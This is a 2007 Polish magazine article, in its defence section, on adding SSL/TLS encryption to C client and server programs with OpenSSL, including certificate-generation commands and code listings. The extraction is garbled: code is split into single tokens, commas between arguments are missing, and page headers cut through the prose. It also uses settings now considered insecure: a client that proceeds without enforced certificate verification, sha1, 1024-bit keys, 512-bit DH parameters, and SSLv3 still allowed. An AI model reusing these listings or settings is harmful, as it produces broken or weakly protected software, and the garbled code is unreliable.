•   szyfrowanie symetryczne za pomocą wcze-

śniej wymienionych kluczy.

W  pierwszej  fazie  klient  i  serwer  wymienia-
ją się informacjami dotyczącymi wersji biblio-
teki  oraz  wspieranych  algorytmów.  W  dru-
giej  fazie  serwer  uwierzytelnia  się  kliento-
wi  przedstawiając  swój  certyfikat  podpisany 
przez klucz prywatny. Klient mając już klucz 
publiczny  serwera  może  stwierdzić  czy  ma 
do czynienia z właściwym serwerem. Opcjo-
nalnie  może  jeszcze  wystąpić  analogiczne 
uwierzytelnianie  klienta.  Infrastruktura  klu-
cza publicznego – PKI (ang. Public Key Infra-
structure) to szyfrowanie asymetryczne, któ-
re  jest  dużo  mniej  wydajne  niż  szyfrowanie 
symetryczne, dlatego też następnym krokiem 
tej  fazy  jest  wymiana  kluczy  symetrycznych 
(wygenerowanych na przykład za pomocą al-

Szyfrowanie w aplikacjach 

– biblioteka Openssl

Paweł Maziarz

stopień trudności

Informacja w dzisiejszych czasach jest wyjątkowo cenna, dlatego 

trzeba o nią odpowiednio zadbać. Sieci firmowe, osiedlowe czy 

bezprzewodowe często nie są zabezpieczone na odpowiednim 

poziomie (nierzadko nie pozwalają na to przyczyny techniczne), 

a więc przy przesyłaniu informacji w sieci, jej nienaruszalność 

powinna zagwarantować odpowiednia aplikacja.

Z artykułu dowiesz się...

•   jak zaimplementować szyfrowanie 
 

SSL/TLS w swoich aplikacjach

Co powinieneś wiedzieć...

•   powinieneś umieć programować w języku C

background image

Biblioteka Openssl

hakin9 Nr 4/2007

www.hakin9.org

67

gorytmu  Diffiego-Hellmana),  które 
będą używane we właściwym prze-
syłaniu danych. Ostatnia faza to już 
faktyczne  przesyłanie  danych  za-
szyfrowanych wcześniej ustalonym 
kluczem symetrycznym.

Certyfikaty

Jak  można  wywnioskować  z  po-
przedniego  akapitu,  zanim  stwo-
rzymy  klienta  i  serwer  z  obsługą 
szyfrowania  SSL/TLS,  trzeba  naj-
pierw  przygotować  kilka  certyfi-
katów,  z  których  programy  będą 
korzystać.  W  naszym  przypadku 
będą  potrzebne  dwa  –  certyfikat 
Urzędu Certyfikującego (ang. Cer-
tification  Authority  –  CA),  którym 
będziemy  podpisywać  certyfikaty 
klientów  oraz  certyfikat  dla  same-
go  klienta.  Do  ich  stworzenia  po-
służy komenda 

openssl

, By ułatwić 

cały proces, stworzymy plik ssl.cnf 
(Listing  1),  którego  omawiać  nie 
będę,  ponieważ  dostarczony  w 
całym  pakiecie  plik  konfiguracyj-
ny  openssl.cnf  zaopatrzony  jest  w 
szczegółowe  komentarze.  Musimy 
też stworzyć odpowiednią struktu-
rę katalogów i pewne pliki:

drg@catharsis:~$ mkdir -p ssl/
{certs,private}
drg@catharsis:~$ chmod 700 ssl/private/
drg@catharsis:~$ touch ssl/index.txt
drg@catharsis:~$ echo 01 > ssl/serial

po  czym  można  już  przystąpić  do 
generowania  certyfikatu  głównego 
(CA) komendą:

drg@catharsis:~/ssl$ openssl req -x509 
-newkey rsa:2048 -out cacert.pem 
-outform PEM -config ssl.cnf

Po podaniu i potwierdzeniu hasła do 
certyfikatu,  zostanie  stworzony  cer-
tyfikat  Urzędu  Certyfikującego  ca-

cert.pem  oraz  jego  klucz  prywatny 
w  private/cakey.pem.  Teraz  trzeba 
utworzyć  certyfikat  dla  klienta,  któ-
ry  będzie  używany  w  późniejszych 
aplikacjach.  Certyfikat  ten  musi  być 
następnie  podpisany  przez  nasze 
CA.  Żądanie  certyfikatu  klient  mo-
że utworzyć u siebie po czym wysłać 
go do Urzędu Certyfikującego w ce-

Listing 1. 

Ssl.cnf - przykładowy plik konfiguracyjny dla openssl

[

 

ca

 

]

default_ca

 

=

 

CA_kajmany

[

 

CA_kajmany

 

]

dir

 

=

 .

certs

 

=

 $

dir

/

certs

new_certs_dir

 

=

 $

dir

/

certs

private_key

 

=

 $

dir

/

private

/

cakey

.

pem

serial

 

=

 $

dir

/

serial

database

 

=

 $

dir

/

index

.

txt

certificate

 

=

 $

dir

/

cacert

.

pem

default_days

 

=

 

364

default_md

 

=

 

sha1

policy

 

=

 

kajmany_policy

x509_extensions

 

=

 

kajmany_ext

[

 

kajmany_policy

 

]

commonName

  

=

 

supplied

countryName

 

=

 

supplied

stateOrProvinceName

 

=

 

supplied

organizationName

 

=

 

supplied

organizationalUnitName

 

=

 

supplied

emailAddress

 

=

 

optional

[

 

kajmany_ext

 

]

basicConstraints

 

=

 

CA

:

false

[

 

req

 

]

distinguished_name

 

=

 

kajmany_dn

default_bits

 

=

 

1024

default_keyfile

 

=

 ./

private

/

cakey

.

pem

x509_extensions

 

=

 

kajmany_ca_ext

prompt

 

=

 

no

[

 

kajmany_dn

 

]

commonName

  

=

 

intersim

.

pl

countryName

 

=

 

PL

stateOrProvinceName

 

=

 

Dolnoslaskie

localityName

 

=

 

Wroclaw

organizationName

 

=

 

Intersim

 

s

.

c

.

organizationalUnitName

 

=

 

Centrum

 

Certyfikatow

emailAddress

 

=

 

pawel

.

maziarz

@

intersim

.

pl

[

 

kajmany_ca_ext

 

]

basicConstraints

 

=

 

CA

:

false

Rysunek 1. 

Kompilacja i uruchomienie klienta

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

68

lu podpisania. Ten z kolei po podpi-
saniu odeśle mu już pełnowartościo-
wy  certyfikat,  Urząd  Certyfikujący 
może też mieć politykę, tego rodzaju 
że sam generuje certyfikaty i od razu 
podpisuje je dla klientów, tak będzie 
to wyglądało w naszym przykładzie. 
Żądanie certyfikatu:

drg@catharsis:~/ssl$ openssl req -
newkey rsa:2048 -keyout clients/cert-
server-key.pem -keyform PEM -out 
clients/cert-server-request.pem -
outform PEM

i jego podpisanie:

drg@catharsis:~/ssl$ openssl ca -
in clients/cert-server-request.pem 
-notext -out clients/cert-server.pem 
-config ssl.cnf

Wypada  jeszcze  wygenerować  dla 
serwera plik z parametrami dla algoryt-
mu Diffiego-Hellmana poleceniem:

drg@catharsis:~ssl$ openssl dhparam 
-out clients/dhserver.pem 512

Po  tych  czynnościach  w  katalogu 

clients/  znajduje  się  gotowy  certyfi-
kat do wykorzystania w aplikacji cert-

server.pem, klucz prywatny do niego 

cert-key.pem oraz plik dhserver.pem 
z parametrami DH. Plik cert-server-

request.pem  nie  jest  już  potrzebny, 
należy go zatem usunąć. Informacje 
o  stworzonych  certyfikatach  może-
my wyświetlić komendami:

drg@catharsis:~/ssl$ openssl req -
noout -text -in clients/cert-server-
request.pem
drg@catharsis:~/ssl$ openssl x509 -

noout -text -in clients/cert-server.pem
drg@catharsis:~/ssl$ openssl x509 -
noout -text -in cacert.pem

Budujemy klienta ssl

Na pierwszy ogień pójdzie aplika-
cja  klienta,  która  zestawia  szyfro-
wane połączenie z serwerem, wy-
syła  zapytanie  HTTP  (by  od  razu 
można  było  przeprowadzić  testy 
na  realnych  serwerach  WWW  z 
obsługą  połączeń  SSL/TLS)  oraz 
wyświetla  informacje  o  certyfika-
cie  drugiej  strony  i  odczytuje  od-
powiedź.

Na  samym  początku  aplikacja 

openssl  powinna  zainicjować  do-
stępne  algorytmy,  szyfry  oraz  na-
zwy  błędów,  które  w  razie  proble-
mów  będą  bardziej  pomocne  niż 
ich  liczbowe  wartości,  wywołując 
funkcje:

Listing 2. 

Funkcja ssl_client_initialize_ctx z pliku ssl-client.c

SSL_CTX

 

*

ssl_client_initialize_ctx

()

 

{

SSL_CTX

 

*

ctx

;

SSL_METHOD

 

*

method

;

SSL_library_init

();

OpenSSL_add_all_algorithms

();

SSL_load_error_strings

();

ERR_load_crypto_strings

();

method

 

=

 

SSLv23_client_method

();

ctx

 

=

 

SSL_CTX_new

(

method

);

if

 

(!

SSL_CTX_load_verify_locations

(

ctx

CA_FILE

NULL

)

 

||

 

!

SSL_CTX_set_default_verify_paths

(

ctx

))

 

{

fprintf

(

stderr

"Błąd w ładowaniu certyfikatu CA, nie zweryfikuję zatem 

certyfikatu serwera.

\n

"

);

ERR_print_errors_fp

(

stderr

);

}

SSL_CTX_set_verify

(

ctx

SSL_VERIFY_NONE

NULL

);

SSL_CTX_set_verify_depth

(

ctx

1

);

SSL_CTX_set_options

(

ctx

SSL_OP_ALL

 

|

 

SSL_OP_NO_SSLv2

);

return

 

ctx

;

}

Listing 3. 

bioex.c – przykład łańcucha BIO

#include 

<openssl/bio.h>

#include 

<openssl/ssl.h>

int

 

main

()

 

{

    

BIO

 

*

bio

*

b64

;

    

char

 

message

[]

 

=

 

"Bio przyklad"

;

    

bio

 

=

 

BIO_new

(

BIO_s_file

());

    

BIO_set_fp

(

bio

stdout

BIO_NOCLOSE

);

    

b64

 

=

 

BIO_new

(

BIO_f_base64

());

    

bio

 

=

 

BIO_push

(

b64

bio

);

    

BIO_write

(

bio

message

strlen

(

message

));

    

BIO_flush

(

bio

);

    

BIO_free_all

(

bio

);

    

return

 

0

;

}

Rysunek 2. 

Kompilacja i działanie serwera

background image

Biblioteka Openssl

hakin9 Nr 4/2007

www.hakin9.org

69

SSL_library_init();
OpenSSL_add_all_algorithms();
SSL_load_error_strings();
ERR_load_crypto_strings();

Następnie  trzeba  określić  jakimi 
protokołami  aplikacja  będzie  się 
porozumiewać oraz jaką rolę w tej 
komunikacji będzie spełniać – ser-
wera,  klienta  czy  też  może  obie. 
Określa się to poprzez zainicjowa-
nie  struktury  typu  SSL_METHOD 

*method odpowiednią funkcją, któ-
rej pierwszym członem jest typ pro-
tokołu, jeden z poniższych:

•   SSLv2  –  SSL  w  wersji  2,  nieza-

lecane z powodu poważnych luk 
bezpieczeństwa;

•   SSLv3 – SSL w wersji 3;
•   TLSv1 – TLS w wersji 1.0;
•   SSLv23 – SSL w wersji 2, 3 lub 

TLS w wersji 1.0

•   DTLSv1  –  DTLS  w  wersji  1.0 

(szyfrowanie datagramów pakie-
tów, np. UDP).

Jeżeli chodzi o kompatybilność, to 
widać, że najlepszym wyborem bę-
dzie  SSLv23,  jednak  druga  stro-
na  łatwo  może  jednak  wymusić 
protokół  SSL  2,  co  narazi  na  nie-
bezpieczeństwo  nasz  programo-
wany  system.  Można  sobie  jed-
nak z tym poradzić w późniejszym 
czasie  poprzez  przekazanie  jed-
nej  z  opcji  SSL_OP_NO_SSLv2, 
SSL_OP_NO_SSLv3  albo  SSL_
OP_NO_TLSv1 do konkretnego po-
łączenia lub całego kontekstu SSL, 
która wyłączy obsługę konkretnego 
protokołu. Następnym członem jest 
rola – clientserver albo jej brak, je-
żeli aplikacja ma pracować zarówno 
jako klient i serwer. Dla klienta TLS 
inicjalizacja  struktury  method  bę-
dzie więc miała postać 

SSL _ METHOD 

*method  =  TLSv1 _ client _ method()

dla  serwera 

SSL _ METHOD  *method 

=  TLSv1 _ server _ method()

,  a  dla 

aplikacji  hybrydowej 

SSL _ METHOD 

*method = TLSv1 _ method()

.

Po wyborze metody czas na za-

inicjowanie  całego  kontekstu  SSL 
(struktura 

SSL _ CTX  *ctx

).  Kontekst 

ten  musi  być  całkowicie  przygoto-
wany  przed  otwarciem  pierwsze-

go  połączenia.  Każde  nowe  połą-
czenie  w  aplikacji  będzie  odnosiło 
się do tego jednego kontekstu, na-

leży więc pamiętać o tym, że zmie-
niając  właściwości  kontekstu,  np. 

SSL _ CTX _ set _ options(ctx,  SSL _

Listing 4. 

główna funkcja z pliku ssl-client.c

#

define

 

HOSTPORT

    

"localhost:4433"

#

define

 

CA_FILE

         

"/home/drg/ssl/cacert.pem"

#

define

 

REQUEST

     

"HEAD / HTTP/1.0

\r\n\r\n

"

void

 

certificate_print_info

(

SSL

 

*

ssl

);

SSL_CTX

 

*

ssl_client_initialize_ctx

();

int

 

main

(

int

 

argc

char

 

**

argv

)

 

{

    

char

 

*

host_port

;

    

BIO

 

*

sbio

;

    

SSL_CTX

 

*

ctx

;

    

SSL

 

*

ssl

;

    

char

 

buf

[

1024

];

    

int

 

len

;

    

long

 

int

 

err

;

    

if

 

(

argc

 

>

 

1

)

        

host_port

 

=

 

strdup

(

argv

[

1

]);

    

else

        

host_port

 

=

 

strdup

(

HOSTPORT

);

    

ctx

 

=

 

ssl_client_initialize_ctx

();

    

sbio

 

=

 

BIO_new_ssl_connect

(

ctx

);

    

BIO_set_conn_hostname

(

sbio

host_port

);

    

BIO_get_ssl

(

sbio

&

ssl

);

    

if

(!

ssl

)

 

{

        

fprintf

(

stderr

"Błąd ssl.

\n

"

);

        

ERR_print_errors_fp

(

stderr

);

        

return

 

1

;

    

}

    

SSL_set_mode

(

ssl

SSL_MODE_AUTO_RETRY

);

    

if

(

BIO_do_connect

(

sbio

)

 

<=

 

0

)

 

{

        

fprintf

(

stderr

"Błąd łączenia 

z serwerem %s

\n

"

host_port

);

        

ERR_print_errors_fp

(

stderr

);

        

return

 

1

;

    

}

    

if

 

((

err

 

=

 

SSL_get_verify_result

(

ssl

))

 

!=

 

X509_V_OK

)

 

{

        

fprintf

(

stderr

"Błąd przy weryfikacji 

certyfikatu (kod %ld - %s).

\n

"

err

X509_verify_cert_error_string

(

err

));

        

ERR_print_errors_fp

(

stderr

);

    

}

    

else

        

fprintf

(

stderr

"Certyfikat poprawnie zweryfikowany.

\n

"

);

    

certificate_print_info

(

ssl

);

    

if

(

BIO_do_handshake

(

sbio

)

 

<=

 

0

)

 

{

        

fprintf

(

stderr

"Error establishing SSL connection

\n

"

);

        

ERR_print_errors_fp

(

stderr

);

        

return

 

1

;

    

}

    

BIO_puts

(

sbio

REQUEST

);

    

while

(

1

)

 

{

        

len

 

=

 

BIO_read

(

sbio

buf

1024

);

        

if

(

len

 

<=

 

0

)

 

break

;

        

write

(

STDOUT_FILENO

buf

len

);

    

}

    

BIO_free_all

(

sbio

);

    

exit

(

0

);

}

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

70

OP _ ALL  |  SSL _ OP _ NO _ SSLv2),

 

zmiana  będzie  dotyczyć  wszyst-
kich  połączeń,  podczas  gdy  usta-
wienie  tych  opcji  tylko  dla  jedne-
go konkretnego połączenia miałoby 
postać 

SSL _ set _ options(sslcon, 

SSL _ OP _ ALL | SSL _ OP _ NO _ SSLv2)

Za inicjalizację kontekstu odpowie-
dzialne  jest  wywołanie  SSL_CTX 
*

ctx = SSL _ CTX _ new(method)

, gdzie 

method

  zostało  już  wcześniej  omó-

wione.  W  bardziej  zwartej  wersji 
można  to  oczywiście  zapisać 

ctx 

SSL _ CTX _ new(SSLv23 _ client _

method())

  (w  przypadku  klienta). 

Prawie  wszystko  zostało  już  dla 
klienta  przygotowane  jednak  w 
celu  weryfikacji  certyfikatów  ser-
werów,  z  którymi  klient  będzie 
się  łączył,  należy  jeszcze  załado-
wać  certyfikat  Urzędu  Certyfiku-

jącego  (CA).  Zrobimy  to  używając 
funkcji 

SSL _ CTX _ load _ verify _

locations() 

oraz 

SSL _ CTX _ set _

default _ verify _ paths()

.  Przyda 

się  też  określić  parametry  weryfi-
kacji;  służy  do  tego  funkcja 

SSL _

CTX _ set _ verify()

.  Pierwszym  pa-

rametrem jest oczywiście wskaźnik 
na kontekst (widać to po przedrost-
ku SSL_CTX_), następnym zaś fla-
ga  określająca  zasady  weryfikacji. 
Dostępne dla klienta flagi to:

•   SSL_VERIFY_NONE-certyfikat 

przesłany  od  serwera  zostanie 
sprawdzony,  jednak  niezależnie 
od  wyniku,  połączenie  będzie 
kontynuowane; wynik weryfikacji 
można później sprawdzić za po-
mocą  funkcji 

SSL _ get _ verify _

result()

;

•   SSL_VERIFY_PEER – jeżeli we-

ryfikacja  certyfikatu  serwera  nie 
powiedzie się połączenie jest na-
tychmiastowo  zatrzymywane  z 
informacją o błędzie.

Trzecim  i  ostatnim  argumentem 
tej funkcji jest wskaźnik na własną 
funkcję weryfikującą, z której moż-
na  jednak  zrezygnować  podając 
jako  argument  NULL,  co  poczyni-
my  w  naszym  kliencie.  Przy  usta-
wianiu parametrów weryfikacji mo-
żemy  ustawić  jeszcze  limit  głębo-
kości  sprawdzanych  certyfikatów 
(domyślnie jest 9) za pomocą funk-
cji 

SSL _ CTX _ set _ verify _ depth()

Ustawienie  głębokości  na  1  spo-
woduje, że sprawdzony będzie tyl-
ko certyfikat serwera (Urzędu Cer-
tyfikującego już nie), co w naszym 
przypadku zupełnie wystarczy.

Opisane  czynności  inicjujące 

umieściliśmy  w  naszym  kliencie 
w  osobnej  funkcji 

ssl _ client _

initialize _ ctx()

 przedstawionej na 

Listingu 2.

Basic Input/Output

BIO  to  abstrakcja  wejścia/wyjścia 
dostępna dla programisty openssl. 
Dzięki  BIO  aplikacja  może  scho-
wać  wszystkie  niskopoziomowe 
wywołania  związane  z  obsługą 
połączenia SSL, z obsługą nieszy-
frowanego  połączenia  TCP/IP  czy 
też  z  obsługą  plików.  Istnieją  dwa 
rodzaje BIO

•   source/sink BIO
•   filter BIO

Listing 5. 

Funkcja certificate_print_info z ssl_client.c

void

 

certificate_print_info

(

SSL

 

*

ssl

)

 

{

X509

 

*

cert

;

char

 

commonName

[

128

];

char

 

country

[

128

];

char

 

state

[

128

];

char

 

locality

[

128

];

char

 

org

[

128

];

char

 

unit

[

128

];

*

commonName

 

=

 

*

country

 

=

 

*

state

 

=

 

*

locality

 

=

 

*

org

 

=

 

*

unit

 

=

 '

\0

'

;

cert

 

=

 

SSL_get_peer_certificate

(

ssl

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

NID_countryName

country

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

NID_

stateOrProvinceName

state

,

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

NID_localityName

locality

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

NID_organizationName

org

,

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

NID_commonName

,

commonName

128

);

X509_NAME_get_text_by_NID

(

X509_get_subject_name

(

cert

)

NID_

organizationalUnitName

,

unit

128

);

X509_free

(

cert

);

fprintf

(

stderr

"

\

n"

);

fprintf

(

stderr

"country: %s

\n

"

country

);

fprintf

(

stderr

"state: %s

\n

"

state

);

fprintf

(

stderr

"org: %s

\n

"

org

);

fprintf

(

stderr

"commonName: %s

\n

"

commonName

);

fprintf

(

stderr

"unit: %s

\n

"

unit

);

fprintf

(

stderr

"locality: %s

\n

"

locality

);

fprintf

(

stderr

"

\

n"

);

}

O autorze

Autor jest właścicielem i jednocześnie 
jednym  z  głównych  programistów 
firmy  tworzącej  między  innymi  sie-
ciowe oprogramowanie. Na przełomie 
ostatnich  lat  współpracował  z  kilko-
ma  firmami  w  charakterze  Security 
Specialist.  W  wolnych  chwilach  gra 
w  golfa,  na  gitarze  klasycznej  oraz 
spuszcza  się  na  linie  z  budynków. 
Kontakt z autorem: 
pawel.maziarz@intersim.pl.

background image

Biblioteka Openssl

hakin9 Nr 4/2007

www.hakin9.org

71

Pierwsze  z  nich  służą  do  bezpo-
średniego  operowania  na  gniaz-
dach czy plikach. Drugie – filtrują-
ce  –  pobierają  dane  z  innych  BIO 
i  przekazują  je  do  kolejnych,  lub 
wprost  do  aplikacji.  Dane  te  mogą 
zostać niezmienione (np. BIO bufo-
rujące) bądź odpowiednio przetwo-
rzone (np. BIO szyfrujące). Cieka-
wostką  jest fakt, że BIO mogą być 
łączone  w  łańcuchy  (pojedyncze 
BIO  to  łańcuch  z  jednym  elemen-
tem) za pomocą funkcji 

BIO _ push()

 

(intuicyjnie 

BIO _ pop()

  zdejmu-

je  BIO  z  łańcucha),  dzięki  cze-
mu  w  łatwy  i  praktycznie  przezro-
czysty  sposób  można  dokonywać 
operacji  na  danych.  Do  tworze-
nia abstrakcyjnych BIO służy funk-
cja 

BIO _ new(),

  przyjmująca  jako 

parametr  rodzaj  tworzonego  BIO 
(dostępne  rodzaje  można  znaleźć 
na  stronie  podręcznika  man  bio).
Szybka 

demonstracja 

łańcu-

chów  BIO  przedstawiona  jest  na 
Listingu 3.

Program  ten  tworzy  nowe  BIO 

plikowe  (jest  to  BIO  typu  source/
sink),  po  czym  przypisuje  do  niego 
standardowe wyjście:

    bio = BIO_new(BIO_s_file());
    BIO_set_fp(bio, stdout, 

BIO_NOCLOSE);

i tutaj mała uwaga – studiując stronę 
podręcznika man BIO_s_file można 
zauważyć,  że  zamiast  tych  dwóch 
linijek można użyć funkcji 

BIO _ new _

fp()

, która zrobi dokładnie to samo, 

a więc prościej:

bio = BIO_new_fp(stdout, BIO_NOCLOSE);

W  następnych  linijkach  program 
tworzy  nowe  BIO,  tym  razem  fil-
trujące,  typu 

BIO _ f _ base64()

Jest  to  BIO,  które  koduje  wszyst-
ko co jest do niego zapisane algo-
rytmem  base64  oraz  dekoduje  w 
przypadku  odczytu  z  niego.  Funk-
cja 

BIO _ push(b64, bio)

 dołącza do 

łańcucha  złożonego  do  tej  pory  z 
BIO  plikowego  typu  source/sink, 
BIO filtrujące b64 i zwraca łańcuch 
bio. Od tej pory wszystko to, co zo-
stanie zapisane do bio, będzie naj-

pierw zamienione na ciąg base64, 
a  następnie  wyświetlone  na  stan-
dardowe wyjście.

Najszybszym  sposobem  na  po-

łączenie  się  ze  zdalnym  serwerem 
SLL/TLS  jest  więc  stworzenie  łań-
cucha  BIO  składającego  się  z  BIO 
typu 

BIO _ s _ connect()

  (BIO  ty-

pu  source/sink)  oraz  z  BIO  filtrują-
cego  typu 

BIO _ f _ ssl()

.  Przeglą-

dając  dokumentację  (polecam  man 

bio  jako  bazę)  znajdziemy  funk-
cję 

BIO _ new _ ssl _ connect()

,  któ-

ra zwróci nam właśnie taki łańcuch. 
Adres  hosta  i  port  ustalimy  funkcją 

BIO _ set _ conn _ hostname()

  –  widać 

od  razu  jak  przyjemnie  pracuje  się 
z BIO – nie musimy się nawet mar-
twić o obsługę gniazd na niskim po-
ziomie (co jest jedną ze szkół pisa-

Listing 6. 

Funkcja server_ssl_initialize_ctx z pliku ssl-server.c

SSL_CTX

 

*

server_ssl_initialize_ctx

()

 

{

SSL_CTX

 

*

ctx

;

BIO

 

*

dhbio

;

SSL_library_init

();

SSL_load_error_strings

();

ERR_load_crypto_strings

();

OpenSSL_add_all_algorithms

();

ctx

 

=

 

SSL_CTX_new

(

SSLv23_server_method

());

if

 

(

SSL_CTX_use_certificate_file

(

ctx

CERTIFICATE_FILE

SSL_FILETYPE_PEM

)

 

!=

 

1

)

 

{

fprintf

(

stderr

"Błąd wczytywania certyfikatu.

\n

"

);

ERR_print_errors_fp

(

stderr

);

return

 

NULL

;

}

if

(

SSL_CTX_use_PrivateKey_file

(

ctx

PRIVATE_KEY

SSL_FILETYPE_PEM

)

 

!=

 

1

)

 

{

fprintf

(

stderr

"Błąd wczytywania klucza prywatnego.

\n

"

);

ERR_print_errors_fp

(

stderr

);

return

 

NULL

;

}

if

(

SSL_CTX_check_private_key

(

ctx

)

 

!=

 

1

)

{

fprintf

(

stderr

"Klucz prywatny zdaje się nie należeć do certyfikatu.

\n

"

);

ERR_print_errors_fp

(

stderr

);

return

 

NULL

;

}

if

 

((

dhbio

 

=

 

BIO_new_file

(

DH_FILE

"r"

))

 

==

 

NULL

)

 

{

fprintf

(

stderr

"Błąd we wczytywaniu parametrów DH. Pomijamy ten krok.

\n

"

);

ERR_print_errors_fp

(

stderr

);

}

else

 

{

DH

 

*

dh

 

=

 

PEM_read_bio_DHparams

(

dhbio

NULL

NULL

NULL

);

BIO_free

(

dhbio

);

if

 

(

SSL_CTX_set_tmp_dh

(

ctx

dh

)

 

<

 

0

)

 

{

fprintf

(

stderr

"Błąd w ustawianiu paremetrów DH. Pomijamy.

\n

"

);

ERR_print_errors_fp

(

stderr

);

}
}

Listing 7. 

Funkcja z pliku ssl-server.c obsługująca sygnał SIGCHLD

void

 

sigchild_handler

(

int

 

sig

)

 

{

    

int

 

status

;

    

pid_t

 

pid

;

    

pid

 

=

 

wait

(&

status

);

    

if

 

(

WIFEXITED

(

status

))

        

fprintf

(

stderr

"Proces 

%d wrocil z 
kodem %d.

\n

"

pid

WEXITSTATUS

(

status

));

    

else

 

if

 

(

WIFSIGNALED

(

status

))

        

fprintf

(

stderr

"Proces %d został 

zabity sygnałem %d.

\n

"

pid

WTERMSIG

(

status

));

}

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

72

nia aplikacji z openssl). W celu uzy-
skania  dostępu  do  wskaźnika  na 
połączenie  SSL,  znajdującego  się 
w  naszym  łańcuchu  BIO,  używa-
my funkcji 

BIO _ get _ ssl()

, co widać 

na Listingu 4, zawierającym główną 
część naszego klienta.

Po  otrzymaniu  wskaźnika  na 

połączenie ssl, warto jeszcze usta-
wić  flagę 

SSL _ MODE _ AUTO _ RETRY

dzięki  której  nie  musimy  się  mar-
twić  o  problem  z  częściowym  wy-
konaniem  operacji  zapisu  czy  od-
czytu  –  zatroszczy  się  o  to  proto-

kół. W tym miejscu jesteśmy w koń-
cu gotowi do zrealizowania w koń-
cu połączenia – zrobimy za pomo-
cą  funkcji 

BIO _ do _ connect()

.  Na-

stępnym krokiem, jaki zrobimy  jest 
zweryfikowanie  certyfikatu  ser-
wera  (

SSL _ get _ verify _ result()

Listing 8. 

Ssl-server.c – główna funkcja

#

define

 

DEFAULTPORT

         

"4433"

#

define

 

CERTIFICATE_FILE

    

"

/home/drg/ssl1/clients/cert-server.pem"

#

define

 

PRIVATE_KEY

             

"

/home/drg/ssl1/clients/cert-server-key.pem"

#

define

 

DH_FILE

                       

"

/home/drg/ssl/clients/dhserver.pem"

#

define

 

RESPONSE

                  

"

HTTP/1.0 200 OK

\r\n

Content-type:

 text/plain

\r\n\r\n

"

void

 

sigchild_handler

(

int

 

sig

);

SSL_CTX

 

*

server_ssl_initialize_ctx

();

int

 

main

(

int

 

argc

char

 

**

argv

)

 

{

    

char

 

*

portbuff

;

    

int

 

rv

;

    

BIO

 

*

listen_bio

;

    

SSL_CTX

 

*

ctx

;

    

SSL

 

*

ssl

;

    

char

 

buf

[

1024

];

    

int

 

len

;

    

if

 

(!(

ctx

 

=

 

server_ssl_initialize_ctx

()))

 

{

        

fprintf

(

stderr

"Niestety.

\n

"

);

        

exit

(

1

);

    

}

    

if

 

(

argc

 

>

 

1

)

        

portbuff

 

=

 

strdup

(

argv

[

1

]);

    

else

        

portbuff

 

=

 

strdup

(

DEFAULTPORT

);

    

signal

(

SIGCHLD

sigchild_handler

);

    

listen_bio

 

=

 

BIO_new_accept

(

portbuff

);

    

BIO_set_bind_mode

(

listen_bio

,

BIO_BIND_REUSEADDR

);

    

if

(

BIO_do_accept

(

listen_bio

)

 

<=

 

0

)

 

{

        

fprintf

(

stderr

"Błąd w

 przygotowaniu do obsługi klientów.

\n

"

);

        

ERR_print_errors_fp

(

stderr

);

        

exit

(

0

);

    

}

    

while

 

(

1

)

 

{

        

BIO

 

*

client_bio

 

=

 

BIO_new_ssl

(

ctx

0

);

        

BIO

 

*

buffered_bio

;

        

BIO_get_ssl

(

client_bio

&

ssl

);

        

if

 

(!

ssl

)

 

{

            

fprintf

(

stderr

"Błąd ssl.

\n

"

);

            

ERR_print_errors_fp

(

stderr

);

            

BIO_free_all

(

listen_bio

);

            

SSL_CTX_free

(

ctx

);

            

exit

(

1

);

        

}

        

SSL_set_verify

(

ssl

SSL_VERIFY_

PEER

 

|

 

SSL_VERIFY_CLIENT_

ONCE

NULL

);

        

SSL_set_mode

(

ssl

SSL_

MODE_AUTO_RETRY

);

        

BIO_set_accept_bios

(

listen_bio

client_bio

);

        

if

 

(

BIO_do_accept

(

listen_bio

)

 

<=

 

0

)

 

{

            

fprintf

(

stderr

"Błąd w 

przyjmowaniu połączenia.

\n

"

);

            

ERR_print_errors_fp

(

stderr

);

            

continue

;

        

}

        

client_bio

 

=

 

BIO_pop

(

listen_bio

);

        

rv

 

=

 

fork

();

        

if

 

(

rv

 

>

 

0

)

 

{

            

fprintf

(

stderr

"Mam mowego 

klienta, pid=%d

\n

"

rv

);

            

continue

;

        

}

        

if

 

(

rv

 

==

 

-

1

)

 

{

            

fprintf

(

stderr

"Błąd w tworzeniu 

nowego procesu: %s.

\n

"

strerror

(

errno

));

            

BIO_free

(

client_bio

);

            

continue

;

        

}

        

if

 

(

BIO_do_handshake

(

client_bio

)

 

<=

 

0

)

 

{

            

fprintf

(

stderr

"Błąd podczas 

SSL handshake.

\n

"

);

            

ERR_print_errors_fp

(

stderr

);

            

BIO_free_all

(

client_bio

);

            

return

 

1

;

        

}

        

buffered_bio

 

=

 

BIO_new

(

BIO_f_

buffer

());

        

client_bio

 

=

 

BIO_push

(

buffered_

bio

client_bio

);

        

BIO_puts

(

client_bio

RESPONSE

);

        

while

 

(

1

)

 

{

            

len

 

=

 

BIO_gets

(

client_bio

buf

1024

);

            

if

 

(

len

 

<=

 

0

)

 

{

                

fprintf

(

stderr

"Błąd w 

czytaniu z gniazda.

\n

"

);

                

ERR_print_errors_fp

(

stderr

);

                

break

;

            

}

            

BIO_write

(

client_bio

buf

len

);

            

if

 

((

buf

[

0

]

 

==

 '

\r

'

)

 

||

 

(

buf

[

0

]

 

==

 '

\n

'

))

                

break

;

        

}

        

BIO_puts

(

client_bio

"milo,

 ze wpadles.

\r\n

"

);

        

rv

 

=

 

BIO_flush

(

client_bio

);

        

BIO_free_all

(

client_bio

);

        

exit

(

0

);

    

}

    

if

 

(

portbuff

)

        

free

(

portbuff

);

    

return

 

0

;

}

background image

oraz wyświetlenie informacji na je-
go temat przy pomocy mało ambit-
nej funkcji przedstawionej na Listin-
gu 5.

Teraz,  po  upewnieniu  się,  że 

połączenie SSL/TLS jest już finalnie 
zestawione  (

BIO _ do _ handshake()

), 

możemy  rozpocząć  wymianę  da-
nych  –  mamy  do  dyspozycji  takie 
funkcje jak 

BIO _ read()

BIO _ write()

BIO _ gets()

  oraz 

BIO _ puts()

.  Wy-

syłamy  zatem  zapytanie  HTTP 
